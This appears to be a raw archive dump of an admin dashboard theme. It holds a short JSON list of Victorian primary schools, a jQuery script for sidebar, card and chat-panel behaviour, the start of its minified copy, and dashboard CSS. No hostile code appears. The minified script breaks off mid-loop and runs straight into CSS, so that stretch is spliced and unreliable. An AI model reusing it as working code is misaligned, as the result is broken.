schools.json000064400000000454151676702570007134 0ustar00{ "schools": [ { "name": "Aberfeldie Primary", "region": "VIC - North West" }, { "name": "Altona Green Primary", "region": "VIC - Outer West" }, { "name": "Antonio Park Primary - Mitcham", "region": "VIC - East" } ] } js/theme.js000064400000026225151676702570006647 0ustar00! function(e, s, i) { "use strict"; i(s).ready(function() { function a(e, s) { e.children(".submenu-content").show().slideUp(200, function() { i(this).css("display", ""), i(this).find(".menu-item").removeClass("is-shown"), e.removeClass("open"), s && s() }) } var n = i(".app-sidebar"), t = i(".sidebar-content"), l = i(".wrapper"), o = s.querySelector(".sidebar-content"); new PerfectScrollbar(o, { wheelSpeed: 10, wheelPropagation: !0, minScrollbarLength: 5 }); t.on("click", ".navigation-main .nav-item a", function() { var e = i(this).parent(".nav-item"); if (e.hasClass("has-sub") && e.hasClass("open")) a(e); else { if (e.hasClass("has-sub") && function(e, s) { var a = e.children(".submenu-content"), n = a.children(".menu-item").addClass("is-hidden"); e.addClass("open"), a.hide().slideDown(200, function() { i(this).css("display", ""), s && s() }), setTimeout(function() { n.addClass("is-shown"), n.removeClass("is-hidden") }, 0) }(e), t.data("collapsible")) return !1; a(e.siblings(".open")), e.siblings(".open").find(".nav-item.open").removeClass("open") } }), i(".nav-toggle").on("click", function() { var e = i(this).find(".toggle-icon"); "expanded" === e.attr("data-toggle") ? (l.addClass("nav-collapsed"), i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-right").addClass("ik-toggle-left"), e.attr("data-toggle", "collapsed")) : (l.removeClass("nav-collapsed menu-collapsed"), i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-left").addClass("ik-toggle-right"), e.attr("data-toggle", "expanded")) }), n.on("mouseenter", function() { if (l.hasClass("nav-collapsed")) { l.removeClass("menu-collapsed"); var e = i(".navigation-main .nav-item.nav-collapsed-open"); e.children(".submenu-content").hide().slideDown(300, function() { i(this).css("display", "") }), t.find(".nav-item.active").parents(".nav-item").addClass("open"), e.addClass("open").removeClass("nav-collapsed-open") } }).on("mouseleave", function(e) { if (l.hasClass("nav-collapsed")) { l.addClass("menu-collapsed"); var s = i(".navigation-main .nav-item.open"), a = s.children(".submenu-content"); s.addClass("nav-collapsed-open"), a.show().slideUp(300, function() { i(this).css("display", "") }), s.removeClass("open") } }), i(e).width() < 992 && (n.addClass("hide-sidebar"), l.removeClass("nav-collapsed menu-collapsed")), i(e).resize(function() { i(e).width() < 992 && (n.addClass("hide-sidebar"), l.removeClass("nav-collapsed menu-collapsed")), i(e).width() > 992 && (n.removeClass("hide-sidebar"), "collapsed" === i(".toggle-icon").attr("data-toggle") && l.not(".nav-collapsed menu-collapsed") && l.addClass("nav-collapsed menu-collapsed")) }), i(s).on("click", ".navigation li:not(.has-sub)", function() { i(e).width() < 992 && n.addClass("hide-sidebar") }), i(s).on("click", ".logo-text", function() { i(e).width() < 992 && n.addClass("hide-sidebar") }), i(".mobile-nav-toggle").on("click", function(e) { e.stopPropagation(), n.toggleClass("hide-sidebar") }), i("html").on("click", function(s) { i(e).width() < 992 && (n.hasClass("hide-sidebar") || 0 !== n.has(s.target).length || n.addClass("hide-sidebar")) }), i("#sidebarClose").on("click", function() { n.addClass("hide-sidebar") }), i('[data-toggle="tooltip"]').tooltip(), i("#checkbox_select_all").on("click", function() { for (var e = s.getElementsByName("item_checkbox"), a = 0; a < e.length; a++) "checkbox" == e[a].type && (e[a].checked = !0), i(e).parent().parent().addClass("selected") }), i("#checkbox_deselect_all").on("click", function() { for (var e = s.getElementsByName("item_checkbox"), a = 0; a < e.length; a++) "checkbox" == e[a].type && (e[a].checked = !1), i(e).parent().parent().removeClass("selected") }), i("#quick-search").keyup(function() { var e = i(this).val().trim().toLowerCase(); i(".app-item").hide().filter(function() { return -1 != i(this).html().trim().toLowerCase().indexOf(e) }).show() }), i(".list-item input:checkbox").change(function() { i(this).is(":checked") ? i(this).parent().parent().addClass("selected") : i(this).parent().parent().removeClass("selected") }), i("#navbar-fullscreen").on("click", function(e) { "undefined" != typeof screenfull && screenfull.enabled && screenfull.toggle() }), i("#selectall").click(function() { i(this).is(":checked") ? i(".select_all_child:checkbox").attr("checked", !0) : i(".select_all_child:checkbox").attr("checked", !1) }), i(".list-item-wrap .list-item .list-title a").on("click", function(e) { i(".list-item.quick-view-opened").not(this).removeClass("quick-view-opened"), i(this).parents().parent(".list-item").toggleClass("quick-view-opened") }), i(s).on("click", function(e) { i(e.target).closest(".list-item").length || i(".list-item").removeClass("quick-view-opened") }), "undefined" != typeof screenfull && screenfull.enabled && i(s).on(screenfull.raw.fullscreenchange, function() { screenfull.isFullscreen ? i("#navbar-fullscreen").find("i").toggleClass("ik-minimize ik-maximize") : i("#navbar-fullscreen").find("i").toggleClass("ik-maximize ik-minimize") }), i(".minimize-widget").on("click", function() { var e = i(this), s = i(e.parents(".widget")); i(s).children(".widget-body").slideToggle(); i(this).toggleClass("ik-minus").fadeIn("slow"), i(this).toggleClass("ik-plus").fadeIn("slow") }), i(".remove-widget").on("click", function() { var e = i(this); e.parents(".widget").animate({ opacity: "0", "-webkit-transform": "scale3d(.3, .3, .3)", transform: "scale3d(.3, .3, .3)" }), setTimeout(function() { e.parents(".widget").remove() }, 800) }), i(".card-header-right .card-option .action-toggle").on("click", function() { var e = i(this); e.hasClass("ik-chevron-right") ? e.parents(".card-option").animate({ width: "28px" }) : e.parents(".card-option").animate({ width: "90px" }), i(this).toggleClass("ik-chevron-right").fadeIn("slow") }), i(".card-header-right .close-card").on("click", function() { var e = i(this); e.parents(".card").animate({ opacity: "0", "-webkit-transform": "scale3d(.3, .3, .3)", transform: "scale3d(.3, .3, .3)" }), setTimeout(function() { e.parents(".card").remove() }, 800) }), i(".card-header-right .minimize-card").on("click", function() { var e = i(this), s = i(e.parents(".card")); i(s).children(".card-body").slideToggle(); i(this).toggleClass("ik-minus").fadeIn("slow"), i(this).toggleClass("ik-plus").fadeIn("slow") }), i(".task-list").on("click", "li.list", function() { i(this).toggleClass("completed") }), i(".search-btn").on('click', function() { i(".header-search").addClass('open'); i('.header-search .form-control').animate({ 'width': '200px', }); }), i(".search-close").on('click', function() { i('.header-search .form-control').animate({ 'width': '0', }); setTimeout(function() { i(".header-search").removeClass('open'); }, 300); }); var ps = new PerfectScrollbar(".right-sidebar", { wheelSpeed: 10, wheelPropagation: true, minScrollbarLength: 5 }); var ps = new PerfectScrollbar(".messages", { wheelSpeed: 10, wheelPropagation: true, minScrollbarLength: 5 }); $(".right-sidebar-toggle").on("click",function(e) { this.classList.toggle('active'); $('.wrapper').toggleClass('right-sidebar-expand'); return false; }); document.addEventListener('click', function(event) { var $rightSidebar = document.getElementsByClassName('right-sidebar')[0], $chatPanel = document.getElementsByClassName('chat-panel')[0]; var isInsideContainer = $rightSidebar.contains( event.target ) || $chatPanel.contains(event.target); if( !isInsideContainer ) { document.body.classList.remove('right-sidebar-expand'); var toggle = document.getElementsByClassName('right-sidebar-toggle'); for( var i = 0; i < toggle.length; i++ ) { toggle[i].classList.remove('active'); } $chatPanel.hidden = 'hidden'; } }); var el = $('[data-plugin="chat-sidebar"]'); if( !el.length ) return; var chatList = el.find('.chat-list'); chatList.each(function(index) { var $this = $(this); $(this).find('.list-group a').on('click', function() { $this.find('.list-group a.active').removeClass('active'); $(this).addClass('active'); var el = $('.chat-panel'); if(!el.length) return; el.removeAttr('hidden'); var messages = el.find('.messages'); messages[0].scrollTop = messages[0].scrollHeight; if( messages[0].classList.contains('scrollbar-enabled') ) { messages.perfectScrollbar('update'); } el.find('.user-name').html( $(this).data('chat-user')); }); }); var el = $('.chat-panel'); if(!el.length) return; el.find('.close').on('click', function(){ el.attr('hidden', true); el.find('.panel-body').removeClass('hide'); }); el.find('.minimize').on('click', function(){ el.find('.card-block').attr('hidden', !el.find('.card-block').attr('hidden') ); if( el.find('.card-block').attr('hidden') === 'hidden' ) $(this).find('.material-icons').html('expand_less'); else $(this).find('.material-icons').html('expand_more'); }); }) }(window, document, jQuery);js/theme.min.js000064400000017350151676702570007430 0ustar00!function(e,a,i){"use strict";i(a).ready(function(){function n(e,a){e.children(".submenu-content").show().slideUp(200,function(){i(this).css("display",""),i(this).find(".menu-item").removeClass("is-shown"),e.removeClass("open"),a&&a()})}var t=i(".app-sidebar"),s=i(".sidebar-content"),l=i(".wrapper"),o=a.querySelector(".sidebar-content");new PerfectScrollbar(o,{wheelSpeed:10,wheelPropagation:!0,minScrollbarLength:5}),s.on("click",".navigation-main .nav-item a",function(){var e=i(this).parent(".nav-item");if(e.hasClass("has-sub")&&e.hasClass("open"))n(e);else{if(e.hasClass("has-sub")&&function(e,a){var n=e.children(".submenu-content"),t=n.children(".menu-item").addClass("is-hidden");e.addClass("open"),n.hide().slideDown(200,function(){i(this).css("display","")}),setTimeout(function(){t.addClass("is-shown"),t.removeClass("is-hidden")},0)}(e),s.data("collapsible"))return!1;n(e.siblings(".open")),e.siblings(".open").find(".nav-item.open").removeClass("open")}}),i(".nav-toggle").on("click",function(){var e=i(this).find(".toggle-icon");"expanded"===e.attr("data-toggle")?(l.addClass("nav-collapsed"),i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-right").addClass("ik-toggle-left"),e.attr("data-toggle","collapsed")):(l.removeClass("nav-collapsed menu-collapsed"),i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-left").addClass("ik-toggle-right"),e.attr("data-toggle","expanded"))}),t.on("mouseenter",function(){if(l.hasClass("nav-collapsed")){l.removeClass("menu-collapsed");var e=i(".navigation-main .nav-item.nav-collapsed-open");e.children(".submenu-content").hide().slideDown(300,function(){i(this).css("display","")}),s.find(".nav-item.active").parents(".nav-item").addClass("open"),e.addClass("open").removeClass("nav-collapsed-open")}}).on("mouseleave",function(e){if(l.hasClass("nav-collapsed")){l.addClass("menu-collapsed");var a=i(".navigation-main .nav-item.open"),n=a.children(".submenu-content");a.addClass("nav-collapsed-open"),n.show().slideUp(300,function(){i(this).css("display","")}),a.removeClass("open")}}),i(e).width()<992&&(t.addClass("hide-sidebar"),l.removeClass("nav-collapsed menu-collapsed")),i(e).resize(function(){i(e).width()<992&&(t.addClass("hide-sidebar"),l.removeClass("nav-collapsed menu-collapsed")),i(e).width()>992&&(t.removeClass("hide-sidebar"),"collapsed"===i(".toggle-icon").attr("data-toggle")&&l.not(".nav-collapsed menu-collapsed")&&l.addClass("nav-collapsed menu-collapsed"))}),i(a).on("click",".navigation li:not(.has-sub)",function(){i(e).width()<992&&t.addClass("hide-sidebar")}),i(a).on("click",".logo-text",function(){i(e).width()<992&&t.addClass("hide-sidebar")}),i(".mobile-nav-toggle").on("click",function(e){e.stopPropagation(),t.toggleClass("hide-sidebar")}),i("html").on("click",function(a){i(e).width()<992&&(t.hasClass("hide-sidebar")||0!==t.has(a.target).length||t.addClass("hide-sidebar"))}),i("#sidebarClose").on("click",function(){t.addClass("hide-sidebar")}),i('[data-toggle="tooltip"]').tooltip(),i("#checkbox_select_all").on("click",function(){for(var e=a.getElementsByName("item_checkbox"),n=0;n div:first-child .pp-cont:after { display: none; } @media only screen and (max-width: 992px) { .product-progress-card .pp-cont { margin-top: 15px; margin-bottom: 15px; } .product-progress-card .pp-cont:after { display: none; } } .social-card h2 { text-shadow: 0 8px 15px rgba(51, 51, 51, 0.2); transition: all 0.3s ease-in-out; } .social-card:hover h2 { text-shadow: 0 4px 4px rgba(51, 51, 51, 0.2); transform: scale(0.9) translatey(5px); } .user-card { overflow: hidden; } .user-card .user-img { border-radius: 50%; display: flex; align-items: center; width: 80px; height: 80px; margin: 0 auto; position: relative; box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); } .user-card .user-img h5 { margin: 0 auto; } .user-card .user-img .link-share { position: absolute; padding: 4px 0; right: 0; bottom: 0; border-radius: 50%; width: 25px; height: 25px; background: #fff; color: #666; box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); } .user-card .user-sub-img { position: relative; margin: 30px 0 10px; padding-top: 30px; } .user-card .user-sub-img > img { width: 30px; cursor: pointer; margin: 5px; } .user-card .user-sub-img:after { content: ""; width: 30px; height: 1px; background: #2b2b2b; position: absolute; top: 0; right: calc(50% - 15px); } .user-card .f-btn { cursor: pointer; transition: all 0.3s ease-in-out; } .user-card .f-btn a { transition: all 0.3s ease-in-out; } .user-card .f-btn:hover { background-color: #99caff; box-shadow: inset 0 5px 7px -3px rgba(43, 43, 43, 0.15); } .user-card .f-btn:hover a { color: #007bff; } .soc-cont-card { color: #fff; position: relative; overflow: hidden; } .soc-cont-card .soc-slider { margin-right: 85px; } .soc-cont-card .soc-cont-icon { color: #fff; font-size: 50px; width: 100px; text-align: center; position: absolute; right: 0; top: 20px; } .soc-cont-card .num-block { background: #fff; color: #ef4153; padding: 8px 15px; display: inline-block; margin: 5px 0 10px; border-radius: 5px; box-shadow: inset 0 1px 3px -1px rgba(43, 43, 43, 0.25); } .soc-cont-card .num-block + .num-block { margin-left: 15px; } .soc-cont-card .num-block i { font-size: 16px; opacity: 1; } .soc-cont-card .card-block { margin-bottom: 20px; padding-bottom: 10px; } .soc-cont-card:after { content: ""; background: rgba(255, 255, 255, 0.5); height: 20px; width: 100%; position: absolute; bottom: 0; left: 0; } @media only screen and (max-width: 575px) { .soc-cont-card .soc-slider { margin-right: 0; } .soc-cont-card .soc-cont-icon { font-size: 40px; width: 50px; top: auto; bottom: 35px; } } .st-cir-card { position: relative; overflow: hidden; } .st-cir-card .st-bt-lbl { font-size: 60px; font-weight: 700; opacity: 0.3; position: absolute; bottom: -30px; right: -5px; } .st-cir-card .st-cir-chart { position: relative; } .st-cir-card .st-cir-chart h5 { position: absolute; margin-bottom: 0; top: 50%; left: 50%; transform: translate(-50%, -50%); } .st-cir-card .ct-series-a .ct-slice-donut { stroke: #fff; } .st-cir-card.card-red .ct-series-b path { stroke: #fa97ab; } .st-cir-card.card-blue .ct-series-b path { stroke: #66b0ff; } .st-cir-card.card-green .ct-series-b path { stroke: #7ee3b8; } .st-cir-card.card-yellow .ct-series-b path { stroke: #fdb5a4; } .prod-bar-card .pbc-chart { width: 50px; margin: 0 auto 10px; } .prod-bar-card .radial-bar:after { box-shadow: 0 0 3px #fff; } .sale-card .s-chart { position: relative; } .sale-card .s-chart .bottom-line { background: #ccc; position: absolute; width: 80px; height: 3px; bottom: 30px; left: 50%; transform: translatex(-50%); } .sale-card .radial-bar { margin: 15px 0 35px; } .sale-card .radial-bar > img { box-shadow: 0 0 0 8px #fff; } .sale-card .s-caption { width: 20px; height: 20px; border-radius: 5px; display: inline-block; vertical-align: super; margin-right: 5px; } .sale-card .progress { height: 5px; } .sale-card .tot-rev-chart { position: relative; margin: 0 auto; } .sale-card .tot-rev-chart .ct-series-b path { stroke: #fff; } .sale-card .tot-rev-chart .ct-series-a .ct-slice-donut { stroke: #fb6340; } .sale-card .tot-rev-chart h3 { position: absolute; margin-bottom: 0; top: 50%; left: 50%; transform: translate(-50%, -50%); } .new-cust-card img { border: 2px solid #fff; box-shadow: 0 5px 10px 0 rgba(43, 43, 43, 0.2); } .new-cust-card h6 { margin-bottom: 0; } .new-cust-card .align-middle { position: relative; } .new-cust-card .align-middle .status { position: absolute; right: 0; top: 19px; font-size: 13px; } .new-cust-card .align-middle .status.active { width: 10px; height: 10px; border-radius: 50%; background: #2dce89; } .table-card .card-block { padding-left: 0; padding-right: 0; padding-top: 0; } .table-card .card-block .table > thead > tr > th { border-top: 0; } .table-card .card-block .table tr td:first-child, .table-card .card-block .table tr th:first-child { padding-left: 20px; } .table-card .card-block .table tr td:last-child, .table-card .card-block .table tr th:last-child { padding-right: 20px; } .table-card .card-block .table.without-header tr:first-child td { border-top: none; } .table-card .p-status { width: 10px; height: 10px; border-radius: 50%; } .latest-update-card .card-block { padding-top: 0; } .latest-update-card .card-block .latest-update-box { position: relative; } .latest-update-card .card-block .latest-update-box:after { content: ""; position: absolute; background: #ebebeb; height: 100%; width: 3px; top: 0; left: 19px; z-index: 1; } .latest-update-card .card-block .latest-update-box .update-meta { z-index: 2; } .latest-update-card .card-block .latest-update-box .update-meta .update-icon { width: 30px; height: 30px; border-radius: 50%; text-align: center; padding: 7px 8px; font-size: 16px; color: #fff; } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-red { box-shadow: 0 0 0 4px rgba(245, 54, 92, 0.5); } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-blue { box-shadow: 0 0 0 4px rgba(0, 123, 255, 0.5); } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-green { box-shadow: 0 0 0 4px rgba(45, 206, 137, 0.5); } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-yellow { box-shadow: 0 0 0 4px rgba(251, 99, 64, 0.5); } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.ring { border-width: 3px; width: 15px; height: 15px; padding: 0; display: block; margin-left: 13px; background: #fff; } .latest-update-card .card-block .latest-update-box .update-meta i.update-icon { margin-left: 4px; margin-right: 19px; } .latest-update-card .card-block .latest-update-box .update-meta img.update-icon { padding: 0; width: 40px; height: 40px; } @media only screen and (max-width: 575px) { .latest-update-card .card-block .latest-update-box:after { display: none; } .latest-update-card .card-block .latest-update-box .update-meta { z-index: 2; min-width: 100%; text-align: left !important; margin-bottom: 15px; border-top: 1px solid #f1f1f1; padding-top: 15px; } } .testimonial-card .progress { height: 5px; } .testimonial-card .review-block .cust-img { width: 50px; height: 50px; } .testimonial-card .review-block > div { padding-top: 15px; padding-bottom: 15px; margin-left: 0; margin-right: 0; padding-left: 5px; padding-right: 5px; } .testimonial-card .review-block > div:hover { background-color: rgba(0, 123, 255, 0.1); } .feed-card h6 { margin-top: 7px; } .feed-card .feed-icon { color: #fff; border-radius: 50%; width: 30px; height: 30px; text-align: center; padding: 8px 9px; } .chat-card .msg { margin-bottom: 5px; display: inline-block; padding: 10px; position: relative; } .chat-card .msg img { width: 60px; border-radius: 5px; margin-bottom: 5px; margin-top: 5px; margin-right: 10px; } .chat-card .received-chat .msg { background: rgba(0, 123, 255, 0.1); border-radius: 0 5px 5px 5px; box-shadow: 2px 3px 7px 0 rgba(43, 43, 43, 0.15); } .chat-card .received-chat .msg:after { content: ""; position: absolute; left: -7px; top: -7px; transform: rotate(45deg); border: 7px solid transparent; border-bottom-color: rgba(0, 123, 255, 0.1); } .chat-card .send-chat { text-align: right; } .chat-card .send-chat .msg { background: rgba(45, 206, 137, 0.1); border-radius: 5px 0 5px 5px; box-shadow: -2px 3px 7px 0 rgba(43, 43, 43, 0.15); } .chat-card .send-chat .msg:after { content: ""; position: absolute; right: -7px; top: -7px; transform: rotate(45deg); border: 7px solid transparent; border-right-color: rgba(45, 206, 137, 0.1); } /* ------------------------------------- * Bar container * ------------------------------------- */ .radial-bar { position: relative; display: inline-block; border-radius: 50%; background-color: transparent; margin-bottom: 20px; -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; width: 80px; height: 80px; font-size: 18px; } .radial-bar:after, .radial-bar > img { display: inline-block; position: absolute; top: 0; left: 0; border-radius: 50%; text-align: center; font-weight: 500; color: #455a64; } .radial-bar:after { content: attr(data-label); background-color: #fff; z-index: 55; } .radial-bar > img { z-index: 102; } .radial-bar:after, .radial-bar > img { width: 56px; height: 56px; margin-left: 12px; margin-top: 12px; line-height: 56px; } .radial-bar.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-50 { background-image: linear-gradient(270deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-55 { background-image: linear-gradient(288deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-60 { background-image: linear-gradient(306deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-65 { background-image: linear-gradient(324deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-70 { background-image: linear-gradient(342deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-75 { background-image: linear-gradient(360deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-80 { background-image: linear-gradient(378deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-85 { background-image: linear-gradient(396deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-90 { background-image: linear-gradient(414deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-95 { background-image: linear-gradient(432deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-100 { background-image: linear-gradient(450deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-50 { background-image: linear-gradient(270deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-55 { background-image: linear-gradient(288deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-60 { background-image: linear-gradient(306deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-65 { background-image: linear-gradient(324deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-70 { background-image: linear-gradient(342deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-75 { background-image: linear-gradient(360deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-80 { background-image: linear-gradient(378deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-85 { background-image: linear-gradient(396deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-90 { background-image: linear-gradient(414deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-95 { background-image: linear-gradient(432deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-100 { background-image: linear-gradient(450deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-50 { background-image: linear-gradient(270deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-55 { background-image: linear-gradient(288deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-60 { background-image: linear-gradient(306deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-65 { background-image: linear-gradient(324deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-70 { background-image: linear-gradient(342deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, 